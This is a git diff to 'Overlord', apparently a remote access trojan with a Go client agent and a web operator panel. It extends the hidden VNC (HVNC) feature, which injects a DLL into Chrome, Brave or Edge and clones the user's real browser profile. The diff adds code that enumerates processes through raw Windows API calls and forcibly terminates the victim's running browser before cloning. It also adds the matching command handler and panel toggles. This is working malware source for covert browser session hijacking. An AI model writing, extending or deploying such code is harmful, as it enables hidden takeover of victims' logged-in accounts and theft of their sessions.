diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go index d2f2993..024a818 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go @@ -14,6 +14,6 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error { return errors.New("HVNC injection not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 283f3fc..7f813c4 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -120,7 +120,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl // If clone is true, it clones the real profile so file I/O is redirected to the clone. // If clone is false, it starts the browser with injection but no path redirection. // browser should be one of: "chrome", "brave", "edge". -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error { info, ok := browserInfoMap[strings.ToLower(browser)] if !ok { return fmt.Errorf("unknown browser %q", browser) @@ -133,6 +133,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c } } + if killIfRunning && clone { + processName := info.exeName + if processName == "" { + processName = filepath.Base(exePath) + } + if isProcessRunning(processName) { + log.Printf("hvnc %s: killing running %s before cloning", info.name, processName) + killProcess(processName) + time.Sleep(1500 * time.Millisecond) + } + } + if !clone { log.Printf("hvnc %s: starting without profile cloning", info.name) return StartHVNCProcessInjected(exePath, dllBytes, "", "") @@ -155,11 +167,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c // StartHVNCChromeInjected is kept for backward compatibility. func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { - return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, nil) + return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil) } type browserInfo struct { name string + exeName string exePaths []string // candidate exe locations (env vars expanded at runtime) userData string // relative to LOCALAPPDATA (or APPDATA for Firefox) useAppData bool // true = use APPDATA instead of LOCALAPPDATA @@ -167,21 +180,24 @@ type browserInfo struct { var browserInfoMap = map[string]browserInfo{ "chrome": { - name: "Chrome", + name: "Chrome", + exeName: "chrome.exe", exePaths: []string{ `\Google\Chrome\Application\chrome.exe`, }, userData: `Google\Chrome\User Data`, }, "brave": { - name: "Brave", + name: "Brave", + exeName: "brave.exe", exePaths: []string{ `\BraveSoftware\Brave-Browser\Application\brave.exe`, }, userData: `BraveSoftware\Brave-Browser\User Data`, }, "edge": { - name: "Edge", + name: "Edge", + exeName: "msedge.exe", exePaths: []string{ `\Microsoft\Edge\Application\msedge.exe`, }, @@ -209,6 +225,92 @@ func findBrowserExe(info browserInfo) string { return "" } +func isProcessRunning(name string) bool { + snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0) + if snapshot == uintptr(^uintptr(0)) { + return false + } + defer procCloseHandle.Call(snapshot) + + type processEntry32 struct { + Size uint32 + CntUsage uint32 + ProcessID uint32 + DefaultHeapID uintptr + ModuleID uint32 + CntThreads uint32 + ParentProcessID uint32 + PriClassBase int32 + Flags uint32 + ExeFile [260]uint16 + } + + var entry processEntry32 + entry.Size = uint32(unsafe.Sizeof(entry)) + ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry))) + if ret == 0 { + return false + } + target := strings.ToLower(name) + for { + exeName := syscall.UTF16ToString(entry.ExeFile[:]) + if strings.ToLower(exeName) == target { + return true + } + entry.Size = uint32(unsafe.Sizeof(entry)) + ret, _, _ = kernel32.NewProc("Process32NextW").Call(snapshot, uintptr(unsafe.Pointer(&entry))) + if ret == 0 { + break + } + } + return false +} + +func killProcess(name string) { + snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0) + if snapshot == uintptr(^uintptr(0)) { + return + } + defer procCloseHandle.Call(snapshot) + + type processEntry32 struct { + Size uint32 + CntUsage uint32 + ProcessID uint32 + DefaultHeapID uintptr + ModuleID uint32 + CntThreads uint32 + ParentProcessID uint32 + PriClassBase int32 + Flags uint32 + ExeFile [260]uint16 + } + + var entry processEntry32 + entry.Size = uint32(unsafe.Sizeof(entry)) + ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry))) + if ret == 0 { + return + } + target := strings.ToLower(name) + for { + exeName := syscall.UTF16ToString(entry.ExeFile[:]) + if strings.ToLower(exeName) == target { + hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE + if hProc != 0 { + kernel32.NewProc("TerminateProcess").Call(hProc, 0) + procCloseHandle.Call(hProc) + log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID) + } + } + entry.Size = uint32(unsafe.Sizeof(entry)) + ret, _, _ = kernel32.NewProc("Process32NextW").Call(snapshot, uintptr(unsafe.Pointer(&entry))) + if ret == 0 { + break + } + } +} + func getBrowserUserDataDir(info browserInfo) string { base := os.Getenv("LOCALAPPDATA") if info.useAppData { diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index f685fd7..392099a 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1340,6 +1340,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in exePath := "" clone := true cloneLite := false + killIfRunning := true if payload != nil { if v, ok := payload["browser"].(string); ok { browser = v @@ -1353,6 +1354,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if v, ok := payload["cloneLite"].(bool); ok { cloneLite = v } + if v, ok := payload["killIfRunning"].(bool); ok { + killIfRunning = v + } } dllBytes := extractDLLBytes(payload) if len(dllBytes) == 0 { @@ -1363,7 +1367,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, false, "no browser specified") return nil } - log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes)) + log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_browser_injected", nil, func() { var onProgress capture.CloneProgressFunc @@ -1379,7 +1383,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) } } - if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, onProgress); err != nil { + if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil { log.Printf("hvnc: browser injected failed for %q: %v", browser, err) } }) diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index b7d5246..c9e3ab3 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -801,15 +801,18 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } else if (action === "start-chrome") { const clone = document.getElementById("hvncCloneToggle")?.checked !== false; const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite }); + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning }); } else if (action === "start-brave") { const clone = document.getElementById("hvncCloneToggle")?.checked !== false; const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite }); + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning }); } else if (action === "start-edge") { const clone = document.getElementById("hvncCloneToggle")?.checked !== false; const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite }); + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning }); } else if (action === "start-custom") { const exePath = prompt("Enter exe path (required)"); if (!exePath) { diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 0de3adc..1d654a1 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -171,6 +171,10 @@ Lite clone (no extensions) +